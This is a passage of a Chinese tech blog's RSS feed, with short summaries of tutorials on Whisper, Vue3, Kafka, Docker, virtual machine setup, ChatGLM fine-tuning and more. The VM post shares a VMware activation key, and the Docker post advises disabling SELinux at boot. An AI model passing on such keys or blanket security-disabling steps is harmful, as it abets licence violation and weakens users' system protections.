      <link>https://bchobby.github.io/posts/34aea4810a49000e6b287e5d78f5bc71/</link>
      <pubDate>Sun, 07 May 2023 11:53:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34aea4810a49000e6b287e5d78f5bc71/</guid>
      <description> 使用Python轻松识别音频中文字 一、前言 在开会或是讨论问题的时候，我们总有一些内容需要记录下来。但由于各种原因，我们无法做到全面细致的记录。事后我们可能需要补充这些细节性内容，而回放视频或是录音费时费力，这时候语音识别可以帮助我们轻松解决这一痛点。目前，常见的语音识别服务以收费的居多，而免费且识别效果较好的也有。比如，由OpenAI 开发的Whisper。&#xA;二、Whisper简介 Whisper是由OpenAI基于Python开发的能够识别多国语言的语音识别模型，同时能将识别结果翻译为指定语言。&#xA;Open AI的官方介绍：Whisper是一种通用的语音识别模型。它是在不同音频的大型数据集上训练的，也是一个多任务模型，可以执行多语言语音识别、语音翻译和语言识别。即它可以实现自动识别音频中的语言，语音识别，将识别结果翻译为指定语言这些功能。&#xA;三、Github项目地址 项目地址：https://github.com/openai/whisper 这里面有该项目的详细介绍，如对应的论文，安装方法，使用方法等。&#xA;四、Whisper 安装要求 Pytorchffmpegsetuptools-rust 五、识别速度 这里讲一下我使用过程用中得到的结果。&#xA;使用GPU版Pytorch进行计算时，GeForce MX150显卡(4G显存)使用small模型识别一段40分钟左右的视频大约为30分钟。使用CPU版Pytorch进行计算时，Intel 酷睿i7 8550U使用large模型识别一段40分钟左右的视频大约为12小时。 六、识别结果 使用small模型识别，有些地方会出现识别错误。有时也会将识别结果以繁体汉字显示。使用large模型识别，基本没有看到错误，也不会出现识别结果以繁体汉字显示的情况。 七、建议 如果有大于4G显存N卡，或者不用考虑识别速度的，尽量使用大模型进行识别工作。&#xA;八、 Whisper的其他用途 whisper也可以用来辅助剪辑视频。因为它识别的每一句话都会附上这段话时间起点和终点，如以下片段所示。更细致的讲解请在搜索《在讲 OpenAI Whisper 前先做了一个剪视频小工具【论文精读·44】》获取答案！&#xA;00:59.200 --&amp;gt; 01:02.560 我们的目标就是榨干真题的价值 01:03.840 --&amp;gt; 01:05.480 那么什么叫做榨干 01:06.920 --&amp;gt; 01:08.520 这个非常纯洁的来讲 01:09.320 --&amp;gt; 01:11.520 榨干就像榨油一样 对吧 01:12.240 --&amp;gt; 01:13.080 一滴都不剩 </description>
    </item>
    <item>
      <title>Vue3超详细的ref()用法，看这一篇就够了</title>
      <link>https://bchobby.github.io/posts/30a125409fb4aece03f308f3e6361cf4/</link>
      <pubDate>Sun, 07 May 2023 11:12:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30a125409fb4aece03f308f3e6361cf4/</guid>
      <description>ref( ) 接受一个内部值，返回一个ref 对象，这个对象是响应式的、可更改的，且只有一个指向其内部值的属性 .value。&#xA;ref() 将传入参数的值包装为一个带 .value 属性的 ref 对象。&#xA;1、ref 对象是可更改的，即可以为 .value 赋予新的值 举例：&#xA;const a = ref(1); // 为 a.value 赋予新的值 a.value = 2; console.log(&#34;a---&amp;gt;&#34;, a); console.log(&#34;a.value---&amp;gt;&#34;, a.value); 查看打印结果：&#xA;2、ref 对象是响应式的，即所有对 .value 的操作都将被追踪，并且写操作会触发与之相关的副作用。 ref()方法允许创建可以使用任何值类型的响应式 ref&#xA;ref 的 .value 属性也是响应式的。&#xA;当ref的值为对象类型时，会用 reactive() 自动转换它的 .value。&#xA;举例：一个包含对象类型值的 ref 可以响应式地替换整个对象&#xA;const b = ref({ name: &#39;vue3&#39; }); // 响应式替换 b.value = { name: &#39;vite&#39; }; console.log(&#34;b---&amp;gt;&#34;, b); console.log(&#34;b.value---&amp;gt;&#34;, b.value); 查看打印结果：</description>
    </item>
    <item>
      <title>【Mock】JSON Server常用使用教程(自动生成遵循restful风格的API)</title>
      <link>https://bchobby.github.io/posts/e25d9ffdf7e28f899a8fe53cd2eb9584/</link>
      <pubDate>Sat, 06 May 2023 17:27:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e25d9ffdf7e28f899a8fe53cd2eb9584/</guid>
      <description>文章目录 1.安装2.快速使用2.1准备db.json文件(名字可以随意,当必须是.json结尾)2.2启动JSON Server2.3调用API2.3.1 GET请求2.3.2 POST请求2.3.3 PUT请求2.3.4 DELETE请求2.3.5 PATCH请求 3.详细使用3.1 传参的方式3.1.1 通过路由传参3.1.2 通过parmas传参3.1.3 通过payload传参 3.2嵌套属性查询3.3进行分页3.4实现排序3.5筛选条件(大于,小于,排除,模糊匹配)3.5.1大于和小于3.5.2排除3.5.3模糊匹配 3.6全文搜索3.7关联查询(一对多,多对一,多对多)3.7.1一对多3.7.2多对一3.7.3多对多 3.8查询数据库结构 1.安装 npm全局安装 npm install -g json-server yarn 全局安装 yarn global add json-server npm基于特定项目的本地安装 npm install json-server yarn基于特定项目的本地安装 yarn add json-server 如何过编写项目的话建议只在项目本地安装,因为全局安装可能会导致一些问题,例如版本冲突或者环境变量问题.&#xA;2.快速使用 2.1准备db.json文件(名字可以随意,当必须是.json结尾) db.json { &#34;posts&#34;: [ { &#34;id&#34;: 1, &#34;title&#34;: &#34;json-server&#34;, &#34;author&#34;: &#34;typicode&#34; } ], &#34;comments&#34;: [ { &#34;id&#34;: 1, &#34;body&#34;: &#34;some comment&#34;, &#34;postId&#34;: 1 } ], &#34;profile&#34;: { &#34;name&#34;: &#34;typicode&#34; } } 2.</description>
    </item>
    <item>
      <title>django服务，局域网互相访问的问题</title>
      <link>https://bchobby.github.io/posts/d55aba015f35a4b39bc755158413f5b4/</link>
      <pubDate>Sat, 06 May 2023 17:07:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d55aba015f35a4b39bc755158413f5b4/</guid>
      <description>django服务，局域网互相访问，设置服务启动host为0.0.0.0 先关闭本地的防火墙把pycharm中的配置更改下，host设置为0.0.0.0</description>
    </item>
    <item>
      <title>Docker容器启动时报错：container init caused “write /proc/self/attr/keycreate: permission denied““: unknown</title>
      <link>https://bchobby.github.io/posts/c5f5e287b1e6459b300f8940fef80d25/</link>
      <pubDate>Sat, 06 May 2023 16:24:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5f5e287b1e6459b300f8940fef80d25/</guid>
      <description>一、报错详情 docker: Error response from daemon: OCI runtime create failed: container_linux.go:349: starting container process caused “process_linux.go:449: container init caused “write /proc/self/attr/keycreate: permission denied””: unknown. 二、原因 permission denied” 表示文件没有写入权限，被拒绝访问了&#xA;selinux是linux为了系统安全性做的控制，会控制用户可以访问、读取、修改哪些文件，比如，前面的write /proc/self/attr/keycreate文件没有权限，就是被selinux限制了。&#xA;selinux有三种模式：&#xA;enforcing 强制&#xA;permissive 宽容的&#xA;diabled 禁止的，&#xA;限制程度由高到低。&#xA;三、解决办法： 1.永久修改（慎重！！！）&#xA;（1）cat /etc/selinux/config，更改SELINUX=disable&#xA;（2）重启生效&#xA;2.临时修改，不重启生效，重启后恢复&#xA;（1）/usr/sbin/setenforce 0 立刻关闭 SELINUX【还原：/usr/sbin/setenforce 1 立刻启用 SELINUX】&#xA;（2）加到系统默认启动里面：echo &#34;/usr/sbin/setenforce 0&#34; &amp;gt;&amp;gt; /etc/rc.local</description>
    </item>
    <item>
      <title>C#_宏定义</title>
      <link>https://bchobby.github.io/posts/f9c3ea447bee853d9a091754aa79dde1/</link>
      <pubDate>Sat, 06 May 2023 15:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9c3ea447bee853d9a091754aa79dde1/</guid>
      <description>关键字简述 //仅可用在using前 #define #undef //仅可在using后 #elif //无限制 #if #else #endif 注：与或非（&amp;amp;&amp;amp; || !） 的使用同样无限制&#xA;宏定义的用途 宏定义常用于版本控制，例如在X环境下使用A代码，在Y环境下使用B代码&#xA;示例代码&#xA;#define VERSION_3 #if !VERSION_3 #define VERSION_1 #define VERSION_2 #else #undef VERSION_1 #undef VERSION_2 #endif using System.Threading.Channels; namespace ConsoleApp_1 { internal class Program { static void Main(string[] args) { #if VERSION_1 &amp;amp;&amp;amp; VERSION_2 Console.WriteLine(&#34;VERSION_1&#34;); #elif VERSION_3 Console.WriteLine(&#34;VERSION_2 VERSION_3&#34;); #else Console.WriteLine(&#34;UNKNOW_VERSION&#34;); #endif } } } 运行效果</description>
    </item>
    <item>
      <title>绘制上海地铁网络图</title>
      <link>https://bchobby.github.io/posts/e6987debe0fb4f388774b93cbaf5203b/</link>
      <pubDate>Sat, 06 May 2023 14:44:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6987debe0fb4f388774b93cbaf5203b/</guid>
      <description>绘制上海地铁网络图&#xA;需求 1.网络图适配iOS、android、web、大屏&#xA;2.线路高亮&#xA;技术选择 vue + d3&#xA;方法设计 1.初始化&#xA;var metro = function (info) {}&#xA;2.创建路线&#xA;var createPaths = function (lines) {}&#xA;3.创建站点&#xA;var createStations = function(stations) {}&#xA;4.显示遮盖层&#xA;var showTransparentCover = function () {}&#xA;5.线路高亮&#xA;var showSingleLinebeforeCover = function () {}&#xA;数据结构 1.SHMetro.info&#xA;{ &#34;info&#34;: { &#34;id&#34;: &#34;&#34;, &#34;name&#34;: &#34;&#34;, &#34;width&#34;: &#34;&#34;, &#34;height&#34;: &#34;&#34;, &#34;bgColor&#34;: &#34;&#34; } } 2.lines&#xA;{ &#34;lines&#34;: [ { &#34;line_id&#34;: &#34;1&#34;, &#34;name_en&#34;: &#34;line1&#34;, &#34;</description>
    </item>
    <item>
      <title>虚拟机服务器搭建</title>
      <link>https://bchobby.github.io/posts/ebf8b2584974d9691505fee2bb79ee7b/</link>
      <pubDate>Sat, 06 May 2023 14:21:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebf8b2584974d9691505fee2bb79ee7b/</guid>
      <description>一、虚拟机安装&#xA;1.安装vmware软件 直接进入vmware官网或其它平台下载都可，这里安装的是vmware workstation 17 pro，官网链接如下：&#xA;下载 VMware Workstation Pro | CN 激活秘钥：ZF3R0-FHED2-M80TY-8QYGC-NPKYF&#xA;如无效，请自行网上百度一下，网上有很多&#xA;2.下载镜像文件 这里用的是 CentOS-7-x86_64-DVD-2009，可自行官网下载&#xA;链接：https://pan.baidu.com/s/1X8jjQtVv-WkmNl1FsaSQYw 提取码：0306&#xA;3.创建虚拟机 vmware软件下载完成后，直接安装即可。安装完成后，就需要创建新的虚拟机。 centos虚拟机服务器手把手搭建_虚拟机搭建服务器_无名之辈之码谷娃的博客-CSDN博客&#xA;这篇文章对虚拟机搭建讲的还是比较详细。&#xA;完成后，需要为用户添加sudo权限，不然你创建的用户是没有sudo权限的&#xA;打开终端命令窗口，进入root用户下：&#xA;vi /etc/sudoers 添加用户名如下&#xA;保存退出。&#xA;至此虚拟机已安装好&#xA;二、网络配置 1.虚拟机配置 vi /etc/sysconfig/network-scrips/ifcfg-ensxx 配置网络信息，ensxx为网卡名称，这里是ens33，如下图所示：&#xA;配置完成后，wq保存退出&#xA;2.设置虚拟网络编辑器 编辑--&amp;gt;虚拟网络编辑器打开如下所示&#xA;修改NAT模式如下：&#xA;注意网关IP与上一步骤网关需保持一致 2.设置VMnet8属性 打开本地网络设置--&amp;gt; 高级网络设置--&amp;gt;更改适配器选项--&amp;gt;鼠标右击VMnet8--&amp;gt;打开IPV4 设置如下：&#xA;网关需与前两步骤设置的一致，IP地址与网关同段，且不与ens33中IP地址冲突。&#xA;重启VMnet8网卡&#xA;service network restart&#xA;或 reboot 重启&#xA;网络测试：&#xA;输入命令：ping www.baidu.com 外网连接是否正常&#xA;输入命令：ping 192.168.0.11 内网是否正常&#xA;注意：&#xA;1.如果内网电脑IP与虚拟机不同段，则虚拟机可以ping通内网，而内网上的电脑ping不同虚拟机&#xA;2.当把虚拟机的网段改成和内网电脑同网段时，可能出现问题：虚拟机ping不同本机电脑及内网电脑（这点我也没搞明白是什么问题）&#xA;3.如果虚拟机 network状态显示为 active(exited)，可能是本地服务器的VMnet相关服务未开启&#xA;4. ifconfig 打开查看ens33网卡未启动 ,查看文件ifcfg-ens33文件内ONBOOT=yes没问题，</description>
    </item>
    <item>
      <title>【已解决】Microsoft Visual C&#43;&#43; Redistributable is not installed</title>
      <link>https://bchobby.github.io/posts/d3bb7d8ee041183b464e21bbc795fd1d/</link>
      <pubDate>Sat, 06 May 2023 13:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3bb7d8ee041183b464e21bbc795fd1d/</guid>
      <description>【Error】导入torch，提示报错：&#xA;Microsoft Visual C++ Redistributable is not installed, this may lead to the DLL load failure.&#xA;【Cause】&#xA;Anaconda没有默认安装在C盘；&#xA;系统没有安装VC++ Redistributable程序。&#xA;【Resolve】&#xA;VC++ Redistributable.exe&#xA;双击安装，重启电脑即可。</description>
    </item>
    <item>
      <title>ChatGLM-6B 部署与 P-Tuning 微调实战</title>
      <link>https://bchobby.github.io/posts/60d8e0055eda2da2311c16e8c15dfc47/</link>
      <pubDate>Sat, 06 May 2023 10:50:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60d8e0055eda2da2311c16e8c15dfc47/</guid>
      <description>自从 ChatGPT 爆火以来，树先生一直琢磨想打造一个垂直领域的 LLM 专属模型，但学习文本大模型的技术原理，从头打造一个 LLM 模型难度极大，所以这事儿就一直搁置了。&#xA;但最近一个月，开源文本大模型如雨后春笋般接踵而至，例如 LLaMA、Alpaca、Vicuna、 ChatGLM-6B 等。树先生觉得这个事有着落了，毕竟站在巨人的肩膀上，离成功就会更近一步。&#xA;经过比较，我选择了ChatGLM-6B 作为预训练模型，一方面是它的中文支持效果好，另一方面是它的参数是 62 亿，对 GPU 性能要求相对较低，可以压缩成本。&#xA;概念科普 ChatGLM-6B 是什么？ ChatGLM-6B 是一个开源的、支持中英双语的对话语言模型，基于 General Language Model (GLM) 架构，具有 62 亿参数。结合模型量化技术，用户可以在消费级的 显卡 上进行本地部署（INT4 量化级别下最低只需 6GB 显存） 。 ChatGLM-6B 使用了和 ChatGPT 相似的技术，针对中文问答和对话进行了优化。经过约 1T 标识符的中英双语训练，辅以监督微调、反馈自助、人类反馈强化学习等技术的加持，62 亿参数的 ChatGLM-6B 已经能生成相当符合人类偏好的回答。&#xA;为了方便下游开发者针对自己的应用场景定制模型，同时实现了基于 P-Tuning v2 的高效参数微调方法 (使用指南) ，INT4 量化级别下最低只需 7GB 显存即可启动微调。&#xA;不过，由于 ChatGLM-6B 的规模较小，目前已知其具有相当多的局限性，如事实性/数学逻辑错误，可能生成有害/有偏见内容，较弱的上下文能力，自我认知混乱，以及对英文指示生成与中文指示完全矛盾的内容。更大的基于 1300 亿参数 GLM-130B 的 ChatGLM 正在内测开发中。&#xA;硬件需求 量化等级最低 GPU 显存（推理）最低 GPU 显存（高效参数微调）FP16（无量化）13 GB14 GBINT88 GB9 GBINT46 GB7 GB 最低只需 7GB 显存即可启动微调，就问你香不香~</description>
    </item>
    <item>
      <title>docker-compose安装redis&#43;nacos&#43;nginx&#43;mysql</title>
      <link>https://bchobby.github.io/posts/afa5e07819770653c971f95747fc1315/</link>
      <pubDate>Sat, 06 May 2023 10:43:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afa5e07819770653c971f95747fc1315/</guid>
      <description>redis: docker-compose.yml version: &#39;3&#39; services: redis: container_name: redis image: redis:6.2.7 restart: always ports: - 6379:6379 volumes: - ./data:/data - ./conf/redis.conf:/etc/redis/redis.conf command: redis-server /etc/redis/redis.conf --appendonly yes redis.conf文件&#xA;daemonize no pidfile /data/redis-6379.pid port 6379 tcp-backlog 65535 bind 0.0.0.0 timeout 0 tcp-keepalive 0 loglevel notice databases 16 lua-time-limit 5000 maxclients 10000 protected-mode yes dir /data slowlog-log-slower-than 10000 slowlog-max-len 128 maxmemory 6G maxmemory-policy volatile-lru save 3600 1 stop-writes-on-bgsave-error yes rdbcompression yes rdbchecksum yes dbfilename &#34;</description>
    </item>
    <item>
      <title>StarWind V2V Converter - 免费好用的 img 转换 vmdk 格式软件</title>
      <link>https://bchobby.github.io/posts/f04c8b5e1bf096adfefc1661fc914fac/</link>
      <pubDate>Sat, 06 May 2023 00:02:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f04c8b5e1bf096adfefc1661fc914fac/</guid>
      <description>StarWind V2V Converter - 免费好用的img转换vmdk格式软件-老部落&#xA;StarWind V2V Converter是一款免费好用的虚拟磁盘双向转换工具，通过StarWind V2V Converter用户能够轻松的对虚拟磁盘进行迁移转换，并且不会对原虚拟磁盘造成任何影响，有需要的可以下载使用。&#xA;安装完毕 Sta rW i nd V2V Converter 软件之后 ， 我们打开软件 ， 获取需要转换的 IMG 文件格式 。&#xA;这里我们获取查看 IMG 文件信息之后继续下一步 。&#xA;选择输出的区域 ， 我们还是输出保存到本地 ， 因为本地虚拟机要用到 。&#xA;选择输出的格式 ， 支持VMDK 、 VHD 、 QCOW2格式等 。&#xA;转ESXI 可用文件就OK 了；下面是转win版，workstation 可用文件。&#xA;这里在选择 VMDK 的格式 ， 默认第一个 。&#xA;最后确定保存转换映像名称和路径 ， 然后转化执行 。&#xA;可以利用 StarWind V2V Converte r 进行IMG 格式镜像转化VMDK 格式 。&#xA;====================================================================&#xA;p2v到云上能不能成功，我有个经验：物理机环境，尤其是带raid的物理机环境，直接制作镜像上云，导入镜像大概率会失败，即便强制导入成功开机一般也会蓝屏。最稳妥的办法是先在线下，p2v到vmware验证，如果在vmware里能成功，上云的可能性才大。&#xA;腾讯云有个大前提，系统盘只支持MBR，不支持GPT，需要提前确认这一点，如果是GPT的系统盘，就不要尝试了，先想办法搞成MBR的再说。</description>
    </item>
    <item>
      <title>C语言程序设计作业</title>
      <link>https://bchobby.github.io/posts/b85b5e2880a438dc398d7753d8e86c10/</link>
      <pubDate>Fri, 05 May 2023 20:37:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b85b5e2880a438dc398d7753d8e86c10/</guid>
      <description>1.运算符的应用I 输入一个五位的整数i，依次将其个位，十位，百位，千位，万位数取出来保存到变量a,b,c,d,e中;按照输出案例的格式依次输出 c,d,b,e,a.&#xA;输入&#xA;五位整数&#xA;输出&#xA;取个位a，十位b，百位c，千位d，万位数e, 按照格式依次输出 c,d,b,e,a.&#xA;样例输入&#xA;12345&#xA;样例输出&#xA;32415&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int x,a,b,c,d,e; scanf(&#34;%d&#34;,&amp;amp;x); a=x%10; b=x/10%10; c=x/100%10; d=x/1000%10; e=x/10000; printf(&#34;%d%d%d%d%d&#34;,c,d,b,e,a); return 0; } 2.运算符的应用II 输入4个整数a,b,c,d；如果它们构成递增数列（所有相邻的元素满足&amp;lt;=关系），则输出1；否则输出0&#xA;样例输入&#xA;1 1 1 2&#xA;样例输出&#xA;1&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int a,b,c,d; scanf(&#34;%d%d%d%d&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;c,&amp;amp;d); if(a&amp;lt;=b) if(b&amp;lt;=c) if(c&amp;lt;=d) printf(&#34;1&#34;); else printf(&#34;0&#34;); else printf(&#34;0&#34;); else printf(&#34;0&#34;); return 0; } #include&amp;lt;stdio.h&amp;gt; int main() { int a,b,c,d,x; int f=1,e=0; scanf(&#34;%d%d%d%d&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;c,&amp;amp;d); x=b&amp;gt;=a?(c&amp;gt;=b?(d&amp;gt;=c?f:e):e):e; printf(&#34;%d&#34;,x); } 3.</description>
    </item>
    <item>
      <title>【Kafka】概述与集群部署</title>
      <link>https://bchobby.github.io/posts/62e5d6f9c8a6500c0f77a0cd2b3263b6/</link>
      <pubDate>Fri, 05 May 2023 18:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62e5d6f9c8a6500c0f77a0cd2b3263b6/</guid>
      <description>文章目录 Kafka概述定义应用场景缓冲/削峰解耦异步通信 应用模式点对点模式发布/订阅模式 基础架构 Kafka集群部署集群规划下载解压修改配置文件分发安装包hadoop103、hadoop104修改配置文件配置环境变量启动集群先启动Zookeeper集群然后启动Kafka 关闭集群 集群启停脚本脚本编写添加执行权限启动集群脚本命令停止集群脚本命令 Docker启动Kafka集群docker-compose.yml编写启动compose命令行验证Python验证 Kafka概述 定义 kafka是一种分布式的，基于发布/订阅的消息队列 (MessageQueue)。它可以处理消费者在网站中的所有动作流数据。&#xA;Kafka是一个开源的分布式事件流平台(Event StreamingPlatform)，被数千家公司用于高性能数据管道、流分析、数据集成和关键任务应用。（既想处理消息队列，又想处理数据）&#xA;应用场景 缓冲/削峰 有助于控制和优化数据流经过系统的速度，解决生产消息和消费消息的处理速度不一致的情况。&#xA;解耦 允许你独立的扩展或修改两边的处理过程，只要确保它们遵守同样的接口约束。&#xA;异步通信 允许用户把一个消息放入队列，但并不立即处理它，然后在需要的时候再去处理它们。&#xA;应用模式 点对点模式 消费者主动拉去数据，消息收到后清除消息&#xA;发布/订阅模式 • 可以有多个topic主题（浏览、点赞、收藏、评论等）&#xA;• 消费者消费数据之后，不删除数据&#xA;• 每个消费者相互独立，都可以消费到数据&#xA;基础架构 （1）Producer：消息生产者，就是向Kafka broker发消息的客户端。&#xA;（2）Consumer：消息消费者，向Kafka broker取消息的客户端。&#xA;（3）Consumer Group（CG）：消费者组，由多个consumer组成。消费者组内每个消费者负责消费不同分区的数据，一个分区只能由一个组内消费者消费；消费者组之间互不影响。所有的消费者都属于某个消费者组，即消费者组是逻辑上的一个订阅者。&#xA;（4）Broker：一台Kafka服务器就是一个broker。一个集群由多个broker组成。一个broker可以容纳多个topic。&#xA;（5）Topic：可以理解为一个队列，生产者和消费者面向的都是一个topic。&#xA;（6）Partition：为了实现扩展性，一个非常大的topic可以分布到多个broker（即服务器）上，一个topic可以分为多个partition，每个partition是一个有序的队列。&#xA;（7）Replica：副本。一个topic的每个分区都有若干个副本，一个Leader和若干个Follower。&#xA;（8）Leader：每个分区多个副本的“主”，生产者发送数据的对象，以及消费者消费数据的对象都是Leader。&#xA;（9）Follower：每个分区多个副本中的“从”，实时从Leader中同步数据，保持和Leader数据的同步。Leader发生故障时，某个Follower会成为新的Leader。&#xA;Kafka集群部署 集群规划 hadoop102hadoop103hadoop104zkzkzkkafkakafkakafka 下载解压 官网地址；https://kafka.apache.org/downloads&#xA;# 下载&#xA;cd /opt/module&#xA;wget https://downloads.apache.org/kafka/3.4.0/kafka_2.12-3.4.0.tgz&#xA;# 解压&#xA;tar -zxvf kafka_2.12-3.4.0.tgz -C /opt/module/&#xA;# 改名&#xA;mv kafka_2.12-3.4.0/ kafka&#xA;修改配置文件 路径：config/server.properties</description>
    </item>
    <item>
      <title>阿里linux体验馆</title>
      <link>https://bchobby.github.io/posts/073070b3ca0c269d65ff24f0dfd676ff/</link>
      <pubDate>Fri, 05 May 2023 18:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/073070b3ca0c269d65ff24f0dfd676ff/</guid>
      <description>今天发现了一个好玩的东西跟大家分享一下&#xA;可以做linux实验 例如配置zabbix 下面的命令是阿里云给的配置&#xA;1 安装 Zabbix 仓库 rpm -Uvh https://repo.zabbix.com/zabbix/5.4/rhel/8/x86_64/zabbix-release-5.4-1.el8.noarch.rpm 2 . 安装 Zabbix Server、Web 前端、Agent yum install zabbix-server-mysql zabbix-web-mysql zabbix-apache-conf zabbix-sql-scripts zabbix-agent -y 3 安装 MySQL 数据库 yum install -y mariadb-server systemctl start mariadb systemctl enable mariadb 4 执行如下命令，初始化数据库。 mysql_secure_installation 5 创建 Zabbix 所用数据库 在命令行中输入 mysql -uroot -p ，并输入密码，登录 MySQL 数据库。 在 mysql shell 当中输入如下代码，创建一个名为 zabbix 的数据库，并创建一个名为zabbix，密码为 password 的用户，用于管理 zabbix 数据库。 create database zabbix character set utf8 collate utf8_bin; create user zabbix@localhost identified by &#39;password&#39;; grant all privileges on zabbix.</description>
    </item>
    <item>
      <title>Apache的安装详细教程</title>
      <link>https://bchobby.github.io/posts/01038800228bcc81e28d0e4c08d00d67/</link>
      <pubDate>Fri, 05 May 2023 18:09:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01038800228bcc81e28d0e4c08d00d67/</guid>
      <description>一：官网下载Apache 官网地址：Welcome! - The Apache HTTP Server ProjectWelcome! - The Apache HTTP Server ProjectWelcome! - The Apache HTTP Server Project&#xA;将安装包下载到自己提前创建的wamp目录 将安装包解压到wamp目录中 下载成功！&#xA;二：启动Apache的详细教程 1.&#xA;wamp--&amp;gt;Apache24--&amp;gt;bin--&amp;gt;双击ApacheMonitor.exe&#xA;即启动Apache。&#xA;2.&#xA;打开windows自带的搜索栏，搜索“服务”，找到Apache2.4，进行手动开启。&#xA;三：关闭Apache的详细教程 四：Apache环境配置的详细教程 1.将安装Apache的路径复制&#xA;我的路径是E:\wamp\Apache24&#xA;2.环境配置&#xA;方法1：找到Apache软件下面的bin文件：路径为E:\wamp\Apache24\bin&#xA;此电脑--&amp;gt;属性--&amp;gt;高级系统设置--&amp;gt;环境配置--&amp;gt;在path路径下面新建路径E:\wamp\Apache24\bin&#xA;方法2：此电脑--&amp;gt;属性--&amp;gt;高级系统设置--&amp;gt;环境配置--&amp;gt;&#xA;--新建系统变量名：CATALINA_HMOE,变量值：E:\wamp\Apache24&#xA;--在系统变量Path中添加：%CATALINA_HMOE%\bin</description>
    </item>
    <item>
      <title>位运算1 a^b</title>
      <link>https://bchobby.github.io/posts/c19ca3d00607e388b5afe6e4b91b5931/</link>
      <pubDate>Fri, 05 May 2023 17:25:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c19ca3d00607e388b5afe6e4b91b5931/</guid>
      <description> 求 a 的 b次方对 p取模的值。&#xA;输入格式&#xA;三个整数 a,b,p在同一行用空格隔开。&#xA;输出格式&#xA;输出一个整数，表示a^b mod p的值。&#xA;数据范围&#xA;0≤a,b≤10^9&#xA;1≤p≤10^9&#xA;输入样例：&#xA;3 2 7 输出样例：&#xA;2 #include&amp;lt;iostream&amp;gt; using namespace std; int main(){ long long a,b; cin&amp;gt;&amp;gt;a&amp;gt;&amp;gt;b; long long p; cin&amp;gt;&amp;gt;p; long long sum=1; while(b){ if(b&amp;amp;1){ sum=sum*a%p; } b=b&amp;gt;&amp;gt;1; a=a*a%p; //cout&amp;lt;&amp;lt;a&amp;lt;&amp;lt;&#34; dfefwe &#34;&amp;lt;&amp;lt;b&amp;lt;&amp;lt;endl; } sum=sum%p; cout&amp;lt;&amp;lt;sum&amp;lt;&amp;lt;endl; return 0; } </description>
    </item>
    <item>
      <title>【接口自动化测试】selenium旗舰版Web测试理论篇</title>
      <link>https://bchobby.github.io/posts/f99c6d8ada061fb446aab0e6567cea93/</link>
      <pubDate>Fri, 05 May 2023 14:04:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99c6d8ada061fb446aab0e6567cea93/</guid>
      <description>【接口自动化测试】selenium旗舰版Web测试理论篇&#xA;一、Web自动化测试&#xA;1.1 简介&#xA;1.2 优势 1.3 E2E测试&#xA;二、主流的Web自动化测试工具&#xA;三、SeleniumWeb自动化测试&#xA;3.1 conda终端一键搭建命令&#xA;3.2 测试Web步骤①：自动打开浏览器&#xA;3.3 测试Web步骤②：元素的定位：八大定位策略分三组&#xA;3.3.1 分组①：根据文本定位标签&#xA;3.3.2 分组②：根据属性，定位任意元素&#xA;3.3.3 分组③：通用定位策略：可以定位到任意元素👑&#xA;3.3 测试Web步骤③：元素的操作&#xA;四、 牛刀小试！CSS定位百度搜索框&#xA;一、Web自动化测试 1.1 简介 Web自动化测试是指使用自动化工具模拟用户在浏览器中的操作，例如点击、输入文本、登陆账号等，以验证Web应用程序是否按照预期工作。这种测试可以大量的节省时间和人力成本。本文将讲解Web自动化测试，并简单的测试百度功能。&#xA;1.2 优势 Web自动化测试的优点有很多，这里只列出几个重要的优势：&#xA;提高测试效率：自动化测试可以快速的同时模拟多个用户进行测试；提高测试覆盖率：自动化测试可以重复执行测试用例，确保每一个功能都被检测到；提高软件质量：可以发现软件缺陷得以关闭； 1.3 E2E测试 Web自动化测试属于E2E测试，是软件质量保证的探测器。&#xA;E2E测试是指端到端测试（End-to-End Testing），它是一种软件测试方法，用于测试整个系统在实际运行环境中的功能和性能。&#xA;E2E测试从开始到结束测试整个系统，包括所有的组件、服务和系统之间的交互。这种测试方法旨在模拟真实的用户场景和使用情况，以便发现系统中的任何问题和潜在的缺陷。&#xA;E2E测试是软件开发过程中最关键的测试之一，它可以确保软件系统的正确性、稳定性和可靠性。&#xA;二、主流的Web自动化测试工具 Web自动化测试的主流框架有：&#xA;Selenium: selenium是最早出现的自动化测试框架之一，它支持多种浏览器和多种编程语言。目前世界各地使用它的公司是最广的，它拥有着丰富的社区和文档，遇到的问题几乎都有人遇到过，一搜既有大量的经验借鉴。Cypress:cypress是一个新的自动化测试框架，它的特点是速度快、稳定性高、易用性强。它可以在Chrome、Firefox和Electron中运行，支持JavaScript语言。它使用了类似于React的虚拟DOM管理页面元素，可以提高测试效率。但是，Cypress不支持多浏览器测试。Playwright:playwright是由Microsoft开发的自动化测试框架，也支持多种浏览器和编程语言，可以运行多种操作系统上。它支持多浏览器测试，而且执行速度比Selenium还有快，也比Cypress更灵活、支持更多的浏览器操作。但是，Playwright还比较新，社区和文档方面还不够成熟，可能遇到错误没有地方查找资料。 掌握任何一个Web自动化测试工具都可以进行自动化测试，所以我们需要选择一个来专研。Selenium我们有许多们选择它的理由：&#xA;浏览器支持最多，兼容最好最新的Selenium4综合各方面都非常棒生态成熟，文档丰富，历史悠久同时还可以进行App端的自动化测试 三、SeleniumWeb自动化测试 3.1 conda终端一键搭建命令 pip install webdriver_helper==1.0.1 -i https://pypi.mirrors.ustc.edu.cn/simple 必须设定版本号为1.0.1🥒&#xA;不然会出现以下错误：&#xA;ImportError: 